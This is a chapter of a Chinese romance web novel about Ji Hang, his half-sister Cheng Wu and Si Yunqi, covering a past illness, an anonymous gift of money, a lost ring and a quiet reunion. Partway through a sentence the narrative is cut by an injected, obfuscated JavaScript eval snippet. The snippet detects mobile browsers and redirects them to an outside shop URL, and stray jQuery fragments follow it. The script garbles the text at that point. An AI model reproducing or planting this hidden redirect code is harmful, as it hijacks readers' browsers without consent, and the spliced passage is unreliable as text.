“你离开没多久，我哥病了一场。”


    随便找了个有桌凳的摊位，坐下后成芜要了碗凉粉。


    时光温和，它平等地缓过世间万物，柔化一切伤痕和痛苦。回忆经年，便不那样尖锐了。


    只是每次想起，成芜都忘不了，很浓重的消毒水的气味。


    ……


    记不清是什么时候，也不知道是为什么了，在成芜的记忆里，某天季杭突然就带着她一起玩了。


    还有云起哥和书望哥。


    她很喜欢他们，很喜欢季杭。每个周五晚上熬个大夜把作业写完，周六一早坐车去找季杭。


    后来季杭临近高考，成馥就不让她再去了。


    为此她还给季杭打了个电话，说妈妈不让她去，可能得等到季杭高考完才能见了。


    季杭说没关系。


    没想到高考前两天下午，成馥突然给她请了假，带着她一起去见了季杭。


    季杭在教室里收拾东西，突然皇后喊他，让他去趟学校门卫室，有人找。


    成芜看到季杭后直接跑了过去，兴奋地问：“季杭，你紧张不？”


    成馥快走了几步，看着个子早就高出她很多的男生，神色期盼，却又不太敢再上前。


    直到季杭拉着成芜走向她。


    在她的梦里也鲜少会出现这样的情景，一双儿女出现在她眼前，向来泪窝子浅的她瞬间就红了眼眶。


    成芜拽拽成馥的衣角，说：“干嘛啊妈，哭啥。”


    成馥忍住泪水，“小杭。”


    季杭笑着应了一声。


    “我也没带别的，”成馥说，“家里烤了牛肉干，想打包给你带，一想这两天还是少碰外面的吃的，闹肚子不划算。”


    成芜抿着嘴摇头，神神秘秘的，对季杭说：“你别看我俩空着手来的，其实不是。”


    季杭配合着问：“怎么呢？”


    “妈上庙去给你求了，别担心，肯定考好。”


    季杭被她逗笑，“谢谢哈。”


    “谢啥啊一家人，”成芜说。


    本来有意活跃气氛的，但看成馥和季杭俩人实在是生疏，她也没辙。


    成芜问：“季杭，考完试旅游去呗？”


    季杭：“没想呢。”


    “去吧去吧，我知道你肯定和云起哥书望哥一起，你们能不能等我个把月，我也想去。”


    “司云起他不一定有时间，”说完立马见成芜撇下嘴，季杭摸摸她的头，“行，不管他们有没有时间，我带你去。”


    成芜趁机说：“那也带上妈，三个人才好玩儿。”


    季杭没说话，倒是成馥连连摆手，“你们去就好，有大人跟着扫兴。”


    成芜“哎呀”一声，正欲反驳，却听到季杭简简单单的三个字。


    “不扫兴。”


    没几秒，三个人对视着笑了。


    成芜开始期待着放暑假，期待他们三个人一起出去玩。到了暑假，暑假过了半个月、一个月……季杭没来带她们出去，也不让她去找。


    成馥心里一直对季杭有亏欠，当她收到季杭的短信，让她别去找季杭，让成芜也别去的时候，她没想到是因为季满谦生了病，只以为季杭不愿意见她们。


    没想到。


    又过了段时间，司云起找到了成芜，塞到她手里一张卡。


    卡里有六十万，是那时候的司云起全部的钱。


    不论是卡还是人，都带着很浓的消毒水味，司云起穿着长袖长裤，但也能看到露出的脖子和手背上很多伤痕。


    “云起哥，你怎么了！”成芜不敢碰他。


    司云起说：“卡给季杭，别说是我给的。”


    成芜还不敢拿着那么大金额一张卡，又担心司云起会不会是被人胁迫出什么事，去找了成馥。


    成馥和司云起单独说话时，成芜悄悄躲在门后听。


    她听到季满谦生病，也听到季杭这段时间过得很不好，瞬间掉下眼泪。


    后来她听到成馥问：“你为什么不自己把钱拿给季杭呢？”


    司云起回答说：“我要做演员，不方便和别人有牵扯，只能麻烦您把钱给他。”


    听了这话，成馥将卡推给司云起，“不想有牵扯最好的办法是，你没来这一趟，也没给这张卡。”


    司云起垂头，连带着目光也敛开，“季叔叔的病情不好，需要钱。”


    “我们会给的，”成馥摇摇头，“不劳你费心。”


    “钱总不会嫌多的，只怕少，您拿着吧。”


    司云起态度始终是低三下四的，总有种求人的姿态。


    成馥斟酌片刻，还是留下了卡，“你给我个联系方式，以后把钱还你。”


    “不用了。”


    成馥有些纳闷地说：“你不是不想有牵扯吗，欠着钱总归是断不干净的。”


    司云起便留了个联系方式。


    他走的时候成芜追了出去，很是气愤地说他不讲义气，说他怎么能在这时候撇下季杭。


    司云起没反驳，平静地接受她面临这件事后所有的情绪宣泄，等她发泄够了，才轻声说：“我离开他了，所以你们能不能对他再好一点。”


    ……


    那会儿的成馥和成芜都不知道，司云起在她们面前所表现出的低三下四没有尊严，并非是因为觉得做错了事情不敢面对她们。


    司云起向来孤傲，面对剧组的排挤以及丁熙年用他的前途施压，也未曾低过一次头。


    之所以在她们面前低声下气，是因为他不能去到季杭身边。


    季杭那么讨厌他，听到表白后迫不及待送他离开，如果他再出现，只能是在季杭最难的时候增加他的烦恼。


    所以他应下她们的误解，接收她们对自己的鄙夷，半个字也没解释。


    听说心疼能转成爱，希望她们多心疼季杭一点，这样就能更爱季杭一点。


    他离开后，成馥曾照着他留下的联系方式打过电话，打出去却是个空号。


    “他留的联系方式是假的，看来是真的没想让我们还钱，”成馥说完后又担心起来，“要是他一直记着这件事，以后哪天找小杭去要怎么办。”


    成芜摇摇头，说：“放心吧妈，不会的。”


    因为这个问题她也问过司云起，在司云起走的时候，依旧是很浓的消毒水味缭绕在他们之间，她问：“这些钱你会要回去吗？”


    司云起说：“不会。”


    “为什么，”在当时成芜的概念中，六十万是特别特别大的一笔钱，她不明白司云起为什么说撇下季杭就撇下，但又送来这么大一笔钱，“这么多年，那你不得一直记着吗？”


    沉默了很久，司云起扯出一个笑，转身时说了句成芜听不明白的话——


    “记得这个，就能忘了别的。”


    人总会记得些什么。


    比如初遇，或者喜欢的那一刻。


    当到了分离的这个记忆节点时，那就记得季杭欠他钱吧。


    这样的话…


    就能忘了那趟有人中途下车的列车。


    –


    成芜拿着钱去给季杭，说这钱是成馥拿的。


    季杭已经发了很久的高烧，每次吃了药退烧，药劲过了又烧起来。他没时间也没心思管自己，成芜去找他时，他整个人瘦了一大圈，都有些脱相。


    医院里也满是消毒水的味儿，成芜一时之间不知道该说句什么。


    把卡递给季杭时，她很担心季杭会不收。


    但季杭很快就接过卡，“帮我谢谢叔叔他们，以后我一定还。”


    刚说完这句话季杭就昏了过去，成芜惊慌地喊医生护士。


    她守在病床前等季杭醒，吊瓶都打完了季杭还在昏睡，整整又过了一个晚上才醒来。


    成芜趴在病床前，迷糊间感觉到床动了。她撑起胳膊，看到季杭已经下了床，弯腰找着什么。


    “哥——”


    “成芜，我手上有个戒指，”季杭声音哑极了，“就在我手上戴着呢，怎么没有了……”


    他浑身脱力，跪在地上弯腰看床底下，看床头柜下面，“怎么会没有呢，怎么找不到啊……”


    起初季杭接过卡的时候她看到季杭手指间的戒指了，但季杭昏倒后先去了急诊，检查完后才到普通病房，成芜守着他时，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038038|132100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他手上已经没有戒指了。


    成芜心想，应该是季杭带着玩的，看起来也不贵，丢了应该没事。


    可现在季杭的反应完全不是，他急疯了。


    “我都去了哪里？”季杭依旧跪在地上，“我昏倒后都去了哪儿，我得去把戒指找回来，我得找回来……”


    过了一夜，掉在哪里可能早就被扫走了。成芜安慰道：“哥，咱们再买一个也行。”


    “不行，只有那一个，”季杭抓住成芜的手，眼眶红得厉害，嗓音又哑又抖：“你告诉我我都去了哪，我得找回来，那是司云起送给我的，只有那一个，得找回来……”


    成芜愣在原地。


    季杭拖着虚弱的身体，来回找了很多次，直到中午，终于在排椅和墙面的角落里找到了戒指。


    成芜看到他背靠着墙，嘴唇发白干裂，但是戴上戒指的时候笑了。


    鼻间消毒水的味道很重，让成芜想起司云起找到她的时候，也是这样的气味。


    她不太理解，走过去蹲在季杭身前，“哥，司云起他在这时候跑了，你留着、留着他给的戒指干什么。”


    季杭愣了愣，分不清是生病时的迟缓还是他想起了什么，过了很久才说：“成芜，别误会他，他没丢下我，是我赶他走的。”


    成芜还欲再问，季杭却什么也不说了。


    后来她慢慢长大，开始理解了那时季杭丢失戒指的反应。


    人们习惯赋予某件事物意义，将它编织进生活中，就有了足够的理由去在乎。


    于是在往后的时间中，将这份意义爱了又爱。


    这枚不起眼的戒指掉在地上都不会有人捡，也许是捡起来发现太廉价继续扔掉，却被季杭珍重保护了十年。


    有意义的从来不是戒指，而是司云起。


    ……


    “丢了那次后，我哥就没戴在手上了，最开始他找了个绳挂在脖子上，过了两三年换成了素链。”成芜告诉司云起，“云起哥，其实那枚戒指早就生锈了。”


    常被摩挲的戒指在漫长时光中生了锈，爱在常常惦念中愈发深厚。


    “每回提到你，我哥都说你什么都没做错，他说错的是他，时间久了，我也觉得当初是不是误会了你什么。”


    司云起低声说：“小芜，谢谢你。”


    “不用谢，看到你们能在一起我真的很高兴，”成芜端起凉粉，“云起哥，咱们回吧？”


    把成芜送回去后，李达正搜导航，司云起告诉他不用了，先回家。


    李达没阻止。


    到家时已经是半夜，司云起停在季杭房间门前，手落在把手上，平缓了好几次呼吸才拧开。


    月光从窗户透进房间，映的床上一片银白的光。


    床上是空的。


    司云起突然想到了什么，立刻转身去自己房间。


    他压制着开门的动静，泄开一道缝后，里面的人好像还是听到了，摁亮了床头的灯。


    灯光晕开，司云起看到刚刚坐起身的季杭。


    许是没料到司云起会突然回来，季杭蹙眉反应了两秒，质问道：“你行程不是很赶吗，怎么半夜回来？”


    司云起没回答。


    季杭后知后觉意识到自己睡在人家的床上，不尴不尬地下床，指着阳台说出自己睡在人家床上的合理理由：“我买了棵山楂树。”


    他边说边走过去，拉开窗帘证明给司云起看。


    “只有你的卧室适合山楂树晚上生长，”他特意强调重点，“是晚上生长，我就搬过来了。”


    ——“晚上我房间不利于山楂树的生长。”


    ——“所以搬到你房间来。”


    ——“鉴于你有偷山楂树的前科在，我不能让你们共处一室。”


    ——“它进来，我也要进来。”


    ——“我睡外面，你睡里面。”


    记忆随时出现，让爱更加生动。


    “但是，山楂树是我的，”季杭说，“所以我得守着它。它进来，我也要进来。”


    说完后季杭走回床边，随意指了指，直着脖子说：


    “你睡那边，我睡这边。”